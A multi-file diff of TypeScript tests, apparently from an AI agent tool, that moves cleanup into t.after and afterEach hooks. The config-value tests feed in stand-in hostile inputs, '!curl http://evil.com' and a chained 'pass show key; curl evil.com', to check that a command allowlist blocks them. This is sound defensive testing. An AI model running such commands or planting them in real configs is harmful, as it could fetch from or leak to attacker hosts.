+ {"version":3,"file":"storage.test.js","sourceRoot":"","sources":["../../../../src/resources/extensions/memory/storage.test.ts"],"names":[],"mappings":"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","sourcesContent":["import assert from \"node:assert/strict\";\nimport { describe, it, afterEach } from \"node:test\";\nimport { mkdtempSync, rmSync, readFileSync, existsSync } from \"node:fs\";\nimport { join } from \"node:path\";\nimport { tmpdir } from \"node:os\";\n\nimport { MemoryStorage } from \"./storage.js\";\n\nfunction makeTmpDir(): string {\n\treturn mkdtempSync(join(tmpdir(), \"gsd-memory-storage-test-\"));\n}\n\nfunction wait(ms: number): Promise<void> {\n\treturn new Promise((resolve) => setTimeout(resolve, ms));\n}\n\ndescribe(\"MemoryStorage debounced persistence\", () => {\n\tlet dir: string;\n\n\tafterEach(() => {\n\t\tif (dir) {\n\t\t\trmSync(dir, { recursive: true, force: true });\n\t\t}\n\t});\n\n\tit(\"multiple rapid mutations only trigger one persist write\", async () => {\n\t\tdir = makeTmpDir();\n\t\tconst dbPath = join(dir, \"test.db\");\n\t\tconst storage = await MemoryStorage.create(dbPath);\n\n\t\tconst initialStat = readFileSync(dbPath);\n\t\tconst initialMtime = initialStat.length;\n\n\t\tstorage.upsertThreads([\n\t\t\t{ threadId: \"t1\", filePath: \"/a.txt\", fileSize: 100, fileMtime: 1000, cwd: \"/proj\" },\n\t\t]);\n\t\tstorage.upsertThreads([\n\t\t\t{ threadId: \"t2\", filePath: \"/b.txt\", fileSize: 200, fileMtime: 2000, cwd: \"/proj\" },\n\t\t]);\n\t\tstorage.upsertThreads([\n\t\t\t{ threadId: \"t3\", filePath: \"/c.txt\", fileSize: 300, fileMtime: 3000, cwd: \"/proj\" },\n\t\t]);\n\n\t\tconst afterMutationsBuf = readFileSync(dbPath);\n\t\tassert.deepEqual(\n\t\t\tafterMutationsBuf,\n\t\t\tinitialStat,\n\t\t\t\"File should not have been written yet (debounce window has not elapsed)\",\n\t\t);\n\n\t\tawait wait(700);\n\n\t\tconst afterDebounceBuf = readFileSync(dbPath);\n\t\tassert.notDeepEqual(\n\t\t\tafterDebounceBuf,\n\t\t\tinitialStat,\n\t\t\t\"File should have been written after debounce window elapsed\",\n\t\t);\n\n\t\tconst stats = storage.getStats();\n\t\tassert.equal(stats.totalThreads, 3);\n\n\t\tstorage.close();\n\t});\n\n\tit(\"close() flushes pending changes immediately without waiting for debounce\", async () => {\n\t\tdir = makeTmpDir();\n\t\tconst dbPath = join(dir, \"test.db\");\n\t\tconst storage = await MemoryStorage.create(dbPath);\n\n\t\tconst initialBuf = readFileSync(dbPath);\n\n\t\tstorage.upsertThreads([\n\t\t\t{ threadId: \"t1\", filePath: \"/a.txt\", fileSize: 100, fileMtime: 1000, cwd: \"/proj\" },\n\t\t]);\n\n\t\tconst beforeCloseBuf = readFileSync(dbPath);\n\t\tassert.deepEqual(\n\t\t\tbeforeCloseBuf,\n\t\t\tinitialBuf,\n\t\t\t\"File should not have been written yet (debounce window has not elapsed)\",\n\t\t);\n\n\t\tstorage.close();\n\n\t\tconst afterCloseBuf = readFileSync(dbPath);\n\t\tassert.notDeepEqual(\n\t\t\tafterCloseBuf,\n\t\t\tinitialBuf,\n\t\t\t\"File should have been written immediately on close()\",\n\t\t);\n\n\t\tconst reopened = await MemoryStorage.create(dbPath);\n\t\tconst stats = reopened.getStats();\n\t\tassert.equal(stats.totalThreads, 1, \"Data should be persisted and readable after close\");\n\t\treopened.close();\n\t});\n});\n"]}
@@ -287,7 +287,7 @@ describe("AuthStorage — oauth credential for non-OAuth provider (#2083)", () =
287
287
  assert.equal(key, undefined);
288
288
  });
289
289
 
290
- it("falls through to env var when openrouter has type:oauth credential", async () => {
290
+ it("falls through to env var when openrouter has type:oauth credential", async (t) => {
291
291
  const storage = inMemory({
292
292
  openrouter: {
293
293
  type: "oauth",
@@ -299,17 +299,17 @@ describe("AuthStorage — oauth credential for non-OAuth provider (#2083)", () =
299
299
 
300
300
  // Simulate OPENROUTER_API_KEY being set via env
301
301
  const origEnv = process.env.OPENROUTER_API_KEY;
302
- try {
303
- process.env.OPENROUTER_API_KEY = "sk-or-v1-env-key";
304
- const key = await storage.getApiKey("openrouter");
305
- assert.equal(key, "sk-or-v1-env-key");
306
- } finally {
302
+ t.after(() => {
307
303
  if (origEnv === undefined) {
308
304
  delete process.env.OPENROUTER_API_KEY;
309
305
  } else {
310
306
  process.env.OPENROUTER_API_KEY = origEnv;
311
307
  }
312
- }
308
+ });
309
+
310
+ process.env.OPENROUTER_API_KEY = "sk-or-v1-env-key";
311
+ const key = await storage.getApiKey("openrouter");
312
+ assert.equal(key, "sk-or-v1-env-key");
313
313
  });
314
314
 
315
315
  it("falls through to fallback resolver when openrouter has type:oauth credential", async () => {
@@ -48,37 +48,37 @@ function makeThrowingExtension(eventType: string, error: Error): Extension {
48
48
  }
49
49
 
50
50
  describe("ExtensionRunner.emitToolCall", () => {
51
- it("catches throwing extension handler and routes to emitError", async () => {
51
+ it("catches throwing extension handler and routes to emitError", async (t) => {
52
52
  const dir = mkdtempSync(join(tmpdir(), "runner-test-"));
53
- try {
54
- const sessionManager = SessionManager.create(dir, dir);
55
- const authStorage = AuthStorage.create();
56
- const modelRegistry = new ModelRegistry(authStorage, join(dir, "models.json"));
53
+ t.after(() => {
54
+ rmSync(dir, { recursive: true, force: true });
55
+ });
57
56
 
58
- const throwingExt = makeThrowingExtension("tool_call", new Error("handler crashed"));
59
- const runtime = makeMinimalRuntime();
60
- const runner = new ExtensionRunner([throwingExt], runtime, dir, sessionManager, modelRegistry);
57
+ const sessionManager = SessionManager.create(dir, dir);
58
+ const authStorage = AuthStorage.create();
59
+ const modelRegistry = new ModelRegistry(authStorage, join(dir, "models.json"));
61
60
 
62
- const errors: any[] = [];
63
- runner.onError((err) => errors.push(err));
61
+ const throwingExt = makeThrowingExtension("tool_call", new Error("handler crashed"));
62
+ const runtime = makeMinimalRuntime();
63
+ const runner = new ExtensionRunner([throwingExt], runtime, dir, sessionManager, modelRegistry);
64
64
 
65
- const event: ToolCallEvent = {
66
- type: "tool_call",
67
- toolCallId: "test-123",
68
- toolName: "test_tool",
69
- input: {},
70
- } as ToolCallEvent;
65
+ const errors: any[] = [];
66
+ runner.onError((err) => errors.push(err));
71
67
 
72
- const result = await runner.emitToolCall(event);
68
+ const event: ToolCallEvent = {
69
+ type: "tool_call",
70
+ toolCallId: "test-123",
71
+ toolName: "test_tool",
72
+ input: {},
73
+ } as ToolCallEvent;
73
74
 
74
- // Should not throw — error is caught and routed to emitError
75
- assert.equal(result, undefined);
76
- assert.equal(errors.length, 1);
77
- assert.equal(errors[0].error, "handler crashed");
78
- assert.equal(errors[0].event, "tool_call");
79
- assert.equal(errors[0].extensionPath, "/test/throwing-ext");
80
- } finally {
81
- rmSync(dir, { recursive: true, force: true });
82
- }
75
+ const result = await runner.emitToolCall(event);
76
+
77
+ // Should not throw — error is caught and routed to emitError
78
+ assert.equal(result, undefined);
79
+ assert.equal(errors.length, 1);
80
+ assert.equal(errors[0].error, "handler crashed");
81
+ assert.equal(errors[0].event, "tool_call");
82
+ assert.equal(errors[0].extensionPath, "/test/throwing-ext");
83
83
  });
84
84
  });
@@ -1,66 +1,54 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it } from "node:test";
2
+ import { describe, it, afterEach } from "node:test";
3
3
  import { mkdtempSync, readFileSync, rmSync, existsSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
6
6
  import { atomicWriteFileSync } from "./fs-utils.js";
7
7
 
8
8
  describe("atomicWriteFileSync", () => {
9
- it("writes file content atomically", () => {
10
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
11
- try {
12
- const filePath = join(dir, "test.txt");
13
- atomicWriteFileSync(filePath, "hello world");
14
- assert.equal(readFileSync(filePath, "utf-8"), "hello world");
15
- } finally {
9
+ let dir: string;
10
+
11
+ afterEach(() => {
12
+ if (dir) {
16
13
  rmSync(dir, { recursive: true, force: true });
17
14
  }
18
15
  });
19
16
 
17
+ it("writes file content atomically", () => {
18
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
19
+ const filePath = join(dir, "test.txt");
20
+ atomicWriteFileSync(filePath, "hello world");
21
+ assert.equal(readFileSync(filePath, "utf-8"), "hello world");
22
+ });
23
+
20
24
  it("overwrites existing file atomically", () => {
21
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
22
- try {
23
- const filePath = join(dir, "test.txt");
24
- atomicWriteFileSync(filePath, "first");
25
- atomicWriteFileSync(filePath, "second");
26
- assert.equal(readFileSync(filePath, "utf-8"), "second");
27
- } finally {
28
- rmSync(dir, { recursive: true, force: true });
29
- }
25
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
26
+ const filePath = join(dir, "test.txt");
27
+ atomicWriteFileSync(filePath, "first");
28
+ atomicWriteFileSync(filePath, "second");
29
+ assert.equal(readFileSync(filePath, "utf-8"), "second");
30
30
  });
31
31
 
32
32
  it("does not leave .tmp file after successful write", () => {
33
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
34
- try {
35
- const filePath = join(dir, "test.txt");
36
- atomicWriteFileSync(filePath, "content");
37
- assert.equal(existsSync(filePath + ".tmp"), false);
38
- } finally {
39
- rmSync(dir, { recursive: true, force: true });
40
- }
33
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
34
+ const filePath = join(dir, "test.txt");
35
+ atomicWriteFileSync(filePath, "content");
36
+ assert.equal(existsSync(filePath + ".tmp"), false);
41
37
  });
42
38
 
43
39
  it("supports Buffer content", () => {
44
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
45
- try {
46
- const filePath = join(dir, "test.bin");
47
- const buf = Buffer.from([0x00, 0x01, 0x02, 0xff]);
48
- atomicWriteFileSync(filePath, buf);
49
- const result = readFileSync(filePath);
50
- assert.deepEqual(result, buf);
51
- } finally {
52
- rmSync(dir, { recursive: true, force: true });
53
- }
40
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
41
+ const filePath = join(dir, "test.bin");
42
+ const buf = Buffer.from([0x00, 0x01, 0x02, 0xff]);
43
+ atomicWriteFileSync(filePath, buf);
44
+ const result = readFileSync(filePath);
45
+ assert.deepEqual(result, buf);
54
46
  });
55
47
 
56
48
  it("supports encoding parameter", () => {
57
- const dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
58
- try {
59
- const filePath = join(dir, "test.txt");
60
- atomicWriteFileSync(filePath, "utf8 content", "utf-8");
61
- assert.equal(readFileSync(filePath, "utf-8"), "utf8 content");
62
- } finally {
63
- rmSync(dir, { recursive: true, force: true });
64
- }
49
+ dir = mkdtempSync(join(tmpdir(), "fs-utils-test-"));
50
+ const filePath = join(dir, "test.txt");
51
+ atomicWriteFileSync(filePath, "utf8 content", "utf-8");
52
+ assert.equal(readFileSync(filePath, "utf-8"), "utf8 content");
65
53
  });
66
54
  });
@@ -38,21 +38,20 @@ describe("resolveConfigValue — non-command values", () => {
38
38
  });
39
39
 
40
40
  describe("resolveConfigValue — command allowlist enforcement", () => {
41
- it("blocks a disallowed command and returns undefined", () => {
41
+ it("blocks a disallowed command and returns undefined", (t) => {
42
42
  const stderrChunks: string[] = [];
43
43
  const originalWrite = process.stderr.write.bind(process.stderr);
44
44
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
45
45
  stderrChunks.push(chunk.toString());
46
46
  return true;
47
47
  };
48
-
49
- try {
50
- const result = resolveConfigValue("!curl http://evil.com");
51
- assert.equal(result, undefined);
52
- assert.ok(stderrChunks.some((line) => line.includes("curl")));
53
- } finally {
48
+ t.after(() => {
54
49
  process.stderr.write = originalWrite;
55
- }
50
+ });
51
+
52
+ const result = resolveConfigValue("!curl http://evil.com");
53
+ assert.equal(result, undefined);
54
+ assert.ok(stderrChunks.some((line) => line.includes("curl")));
56
55
  });
57
56
 
58
57
  it("blocks another disallowed command (rm)", () => {
@@ -65,7 +64,7 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
65
64
  assert.equal(result, undefined);
66
65
  });
67
66
 
68
- it("allows a safe command prefix to proceed to execution", () => {
67
+ it("allows a safe command prefix to proceed to execution", (t) => {
69
68
  // `pass` is unlikely to be installed in CI, so we just verify it does NOT
70
69
  // return undefined due to the allowlist check — it may return undefined if
71
70
  // the binary is absent, but the block path must not be taken.
@@ -76,16 +75,15 @@ describe("resolveConfigValue — command allowlist enforcement", () => {
76
75
  stderrChunks.push(chunk.toString());
77
76
  return true;
78
77
  };
79
-
80
- try {
81
- resolveConfigValue("!pass show nonexistent-entry-for-test");
82
- const blocked = stderrChunks.some((line) =>
83
- line.includes("Blocked disallowed command")
84
- );
85
- assert.equal(blocked, false, "pass should not be blocked by the allowlist");
86
- } finally {
78
+ t.after(() => {
87
79
  process.stderr.write = originalWrite;
88
- }
80
+ });
81
+
82
+ resolveConfigValue("!pass show nonexistent-entry-for-test");
83
+ const blocked = stderrChunks.some((line) =>
84
+ line.includes("Blocked disallowed command")
85
+ );
86
+ assert.equal(blocked, false, "pass should not be blocked by the allowlist");
89
87
  });
90
88
  });
91
89
 
@@ -130,61 +128,58 @@ describe("resolveConfigValue — shell operator bypass prevention", () => {
130
128
  assert.equal(result, undefined);
131
129
  });
132
130
 
133
- it("writes stderr warning when shell operators detected", () => {
131
+ it("writes stderr warning when shell operators detected", (t) => {
134
132
  const stderrChunks: string[] = [];
135
133
  const originalWrite = process.stderr.write.bind(process.stderr);
136
134
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
137
135
  stderrChunks.push(chunk.toString());
138
136
  return true;
139
137
  };
140
-
141
- try {
142
- resolveConfigValue("!pass show key; curl evil.com");
143
- assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
144
- } finally {
138
+ t.after(() => {
145
139
  process.stderr.write = originalWrite;
146
- }
140
+ });
141
+
142
+ resolveConfigValue("!pass show key; curl evil.com");
143
+ assert.ok(stderrChunks.some((line) => line.includes("shell operators")));
147
144
  });
148
145
  });
149
146
 
150
147
  describe("resolveConfigValue — caching", () => {
151
- it("caches the result of a blocked command", () => {
148
+ it("caches the result of a blocked command", (t) => {
152
149
  const callCount = { n: 0 };
153
150
  const originalWrite = process.stderr.write.bind(process.stderr);
154
151
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
155
152
  callCount.n++;
156
153
  return true;
157
154
  };
158
-
159
- try {
160
- resolveConfigValue("!curl http://evil.com");
161
- resolveConfigValue("!curl http://evil.com");
162
- // The block warning should only fire once; the second call hits the cache
163
- // before reaching the allowlist check, so stderr count is 1.
164
- assert.equal(callCount.n, 1);
165
- } finally {
155
+ t.after(() => {
166
156
  process.stderr.write = originalWrite;
167
- }
157
+ });
158
+
159
+ resolveConfigValue("!curl http://evil.com");
160
+ resolveConfigValue("!curl http://evil.com");
161
+ // The block warning should only fire once; the second call hits the cache
162
+ // before reaching the allowlist check, so stderr count is 1.
163
+ assert.equal(callCount.n, 1);
168
164
  });
169
165
 
170
- it("clearConfigValueCache resets cached entries", () => {
166
+ it("clearConfigValueCache resets cached entries", (t) => {
171
167
  const stderrChunks: string[] = [];
172
168
  const originalWrite = process.stderr.write.bind(process.stderr);
173
169
  process.stderr.write = (chunk: string | Uint8Array, ...args: unknown[]) => {
174
170
  stderrChunks.push(chunk.toString());
175
171
  return true;
176
172
  };
173
+ t.after(() => {
174
+ process.stderr.write = originalWrite;
175
+ });
177
176
 
178
- try {
179
- resolveConfigValue("!curl http://evil.com");
180
- assert.equal(stderrChunks.length, 1);
177
+ resolveConfigValue("!curl http://evil.com");
178
+ assert.equal(stderrChunks.length, 1);
181
179
 
182
- clearConfigValueCache();
180
+ clearConfigValueCache();
183
181
 
184
- resolveConfigValue("!curl http://evil.com");
185
- assert.equal(stderrChunks.length, 2);
186
- } finally {
187
- process.stderr.write = originalWrite;
188
- }
182
+ resolveConfigValue("!curl http://evil.com");
183
+ assert.equal(stderrChunks.length, 2);
189
184
  });
190
185
  });
@@ -1,5 +1,5 @@
1
1
  import assert from "node:assert/strict";
2
- import { describe, it } from "node:test";
2
+ import { describe, it, afterEach } from "node:test";
3
3
  import { mkdtempSync, rmSync } from "node:fs";
4
4
  import { join } from "node:path";
5
5
  import { tmpdir } from "node:os";
@@ -22,44 +22,44 @@ function makeAssistantMessage(input: number, output: number, cacheRead = 0, cach
22
22
  }
23
23
 
24
24
  describe("SessionManager usage totals", () => {
25
- it("tracks assistant usage incrementally without rescanning entries", () => {
26
- const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
27
- try {
28
- const manager = SessionManager.create(dir, dir);
29
-
30
- manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
31
- manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
32
- manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
25
+ let dir: string;
33
26
 
34
- assert.deepEqual(manager.getUsageTotals(), {
35
- input: 17,
36
- output: 9,
37
- cacheRead: 4,
38
- cacheWrite: 2,
39
- cost: 0.35,
40
- });
41
- } finally {
27
+ afterEach(() => {
28
+ if (dir) {
42
29
  rmSync(dir, { recursive: true, force: true });
43
30
  }
44
31
  });
45
32
 
33
+ it("tracks assistant usage incrementally without rescanning entries", () => {
34
+ dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
35
+ const manager = SessionManager.create(dir, dir);
36
+
37
+ manager.appendMessage({ role: "user", content: [{ type: "text", text: "hello" }] } as any);
38
+ manager.appendMessage(makeAssistantMessage(10, 5, 3, 2, 0.25));
39
+ manager.appendMessage(makeAssistantMessage(7, 4, 1, 0, 0.1));
40
+
41
+ assert.deepEqual(manager.getUsageTotals(), {
42
+ input: 17,
43
+ output: 9,
44
+ cacheRead: 4,
45
+ cacheWrite: 2,
46
+ cost: 0.35,
47
+ });
48
+ });
49
+
46
50
  it("resets totals when starting a new session", () => {
47
- const dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
48
- try {
49
- const manager = SessionManager.create(dir, dir);
50
- manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
51
- assert.equal(manager.getUsageTotals().input, 5);
51
+ dir = mkdtempSync(join(tmpdir(), "gsd-session-manager-test-"));
52
+ const manager = SessionManager.create(dir, dir);
53
+ manager.appendMessage(makeAssistantMessage(5, 5, 0, 0, 0.05));
54
+ assert.equal(manager.getUsageTotals().input, 5);
52
55
 
53
- manager.newSession();
54
- assert.deepEqual(manager.getUsageTotals(), {
55
- input: 0,
56
- output: 0,
57
- cacheRead: 0,
58
- cacheWrite: 0,
59
- cost: 0,
60
- });
61
- } finally {
62
- rmSync(dir, { recursive: true, force: true });
63
- }
56
+ manager.newSession();
57
+ assert.deepEqual(manager.getUsageTotals(), {
58
+ input: 0,
59
+ output: 0,
60
+ cacheRead: 0,
61
+ cacheWrite: 0,
62
+ cost: 0,
63
+ });
64
64
  });
65
65
  });
@@ -60,26 +60,26 @@ describe("edit-diff", () => {
60
60
  assert.match(result.diff, /CHANGED/);
61
61
  });
62
62
 
63
- it("computes diffs for preview without native helpers", async () => {
63
+ it("computes diffs for preview without native helpers", async (t) => {
64
64
  const dir = mkdtempSync(join(tmpdir(), "edit-diff-test-"));
65
- try {
66
- const file = join(dir, "sample.ts");
67
- writeFileSync(file, "const title = “Hello”;\n", "utf-8");
65
+ t.after(() => {
66
+ rmSync(dir, { recursive: true, force: true });
67
+ });
68
68
 
69
- const result = await computeEditDiff(
70
- file,
71
- "const title = \"Hello\";\n",
72
- "const title = \"Hi\";\n",
73
- dir,
74
- );
69
+ const file = join(dir, "sample.ts");
70
+ writeFileSync(file, "const title = “Hello”;\n", "utf-8");
75
71
 
76
- assert.ok(!("error" in result), "expected a diff result");
77
- if (!("error" in result)) {
78
- assert.equal(result.firstChangedLine, 1);
79
- assert.match(result.diff, /\+1 const title = "Hi";/);
80
- }
81
- } finally {
82
- rmSync(dir, { recursive: true, force: true });
72
+ const result = await computeEditDiff(
73
+ file,
74
+ "const title = \"Hello\";\n",
75
+ "const title = \"Hi\";\n",
76
+ dir,
77
+ );
78
+
79
+ assert.ok(!("error" in result), "expected a diff result");
80
+ if (!("error" in result)) {
81
+ assert.equal(result.firstChangedLine, 1);
82
+ assert.match(result.diff, /\+1 const title = "Hi";/);
83
83
  }
84
84
  });
85
85
  });